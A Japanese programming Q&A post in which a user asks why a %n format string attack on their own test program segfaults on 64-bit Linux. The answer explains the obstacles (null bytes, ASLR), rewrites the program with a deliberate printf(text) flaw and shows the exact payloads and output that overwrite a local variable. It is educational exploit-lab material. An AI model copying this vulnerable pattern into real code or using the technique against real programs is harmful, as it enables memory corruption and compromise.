質問: -72 0xffffffb8 8番目に41414141が来ているのがわかります。 この test_val (アドレス:0x00600c18)の内容を書き換えたいのです。 ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 誤った方法: `73760000.7353f7a0.73273620.7353f7a0.731e59fa.cb54e8b8.731aac58.25600c18 ./test $(printf "\x18\x0c\x60")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n これで書き換わるはずなのですが・・・・ segmentation fault になってしまいます。 わかる方いませんか? Linux 64bitです。
回答: macOS Sierra、Apple LLVM version 8.0.0 (clang-800.0.42.1)を用いて、test_valの書き換えに成功しました。LinuxのGCCでも可能かと思いますが、結構制限があります。 まず、今のコードと方法には複数の問題点があります。 1. 64bit環境でのユーザーメモリ空間は`0x00007fffffffffff`(8Bytes)以下であるため、最初のテキストが`"\xff\xff\xff\xff\xff\x7f\x00\x00"`(8Bytes)のようにしなくてはならない。しかし、この文字列にはヌル文字が含まれるため、strcpyやprintfでその先が読み込む事ができない。最初のテキストでアドレスを表すときに`\x00`が必ず入る場合は動作しない。 => 64bitではこの方法でアドレスを表現することは不可能。32bitにしなければならない。(`-m32`オプションを付けてコンパイル) 2. 32bitの場合でも`0x00ffffff`(4Bytes)以下の場合は、最初のテキストが`"\xff\xff\xff\x00"`(4Bytes)とヌル文字が含まれて、同様に不可能になる。staticなローカル変数は通常若いアドレスに配置されるため、`0x00ffffff`以下となって表現できない。 => staticではない普通のローカル変数をターゲットにしなければならない。 3. デフォルトではASLR(アドレス空間配置のランダム化)が有効なため、`test_val`のアドレスが起動する度に変化する。 =>ASLRを無効にしなければならない。(`-Wl,-no-pie`オプションを付けてコンパイル) 以上を踏まえて、ソースコードを下記のように書き直しました。(このコードはintとポインタが32bitであることが前提であるため、64bit環境では正しく使えません) ``` #include #include #include int main(int argc, char *argv[]) { char text[1024] = {0}; int test_val = -72; strcpy(text, argv[1]); printf("正しい方法:\n"); printf("%s", text); printf("\n誤った方法:\n"); printf(text); printf("\n"); // Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", (unsigned int)&test_val, test_val, test_val); printf("[*] text @ 0x%08x = %u 0x%08x\n", (unsigned int)text, *((unsigned int *)text), *((unsigned int *)text)); exit(0); } ``` 以下、実行結果です。ソースコードのファイル名は`abunai.c`です。なお、fishというマイナーなシェルを使っています。シェル内でコマンド実行結果を使う方法は`$(コマンド)`ではなく`(コマンド)`になっていますので、読み替えてください。`λ`はシェルのプロンプトです。 ``` λ clang -m32 -Wall -O0 -std=c11 -Wl,-no_pie abunai.c abunai.c:15:9: warning: format string is not a string literal (potentially insecure) [-Wformat-security] printf(text); ^~~~ abunai.c:15:9: note: treat the string as an argument to avoid this printf(text); ^ "%s", 1 warning generated. ``` ``` λ ./a.out AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 正しい方法: AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 誤った方法: AAAA.bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000068.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8.41414141 [*] test_val @ 0xbffff58c = -72 0xffffffb8 [*] text @ 0xbffff590 = 1094795585 0x41414141 ``` ``` λ ./a.out (printf "\x8c\xf5\xff\xbf")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n 正しい方法: ����%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n 誤った方法: ����bffff590.00000400.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000014.00000065.00000013.bffff590.00000400.00000000.bffff590.00001d61.ffffffb8. [*] test_val @ 0xbffff58c = 175 0x000000af [*] text @ 0xbffff590 = 3221222796 0xbffff58c ``` ※ �部分は文字化け 最適化の影響を受けないように`-O0`(最適化無し)を付けています。最初のコマンドで`test_val`のアドレスが`0xbffff58c`であることを確認しましたので、`"AAAA"`が`"\x8c\xf5\xff\xbf"`(リトルエンディアンなので逆順)になるようにします。あとは、`41414141`の場所に`"%n"`を投げ込めば、test_valが変わっているのがわかると思います。 なお、`"AAAA"`部分に入れるアドレスが間違っていたり、`"%n"`の順番が間違っていれば、どこかのアドレスを読みに行って書き換えようとします。ほとんどの場合はAddress boundary errorでSIGSEGVシグナルが吐かれて落ちてしまうでしょう。アドレスが間違ってないか、`"%n"`の位置が間違ってないかを確認してください。**環境によって、`test_val`のアドレス、`"%n"`が入る位置が異なりますので、ご注意ください。**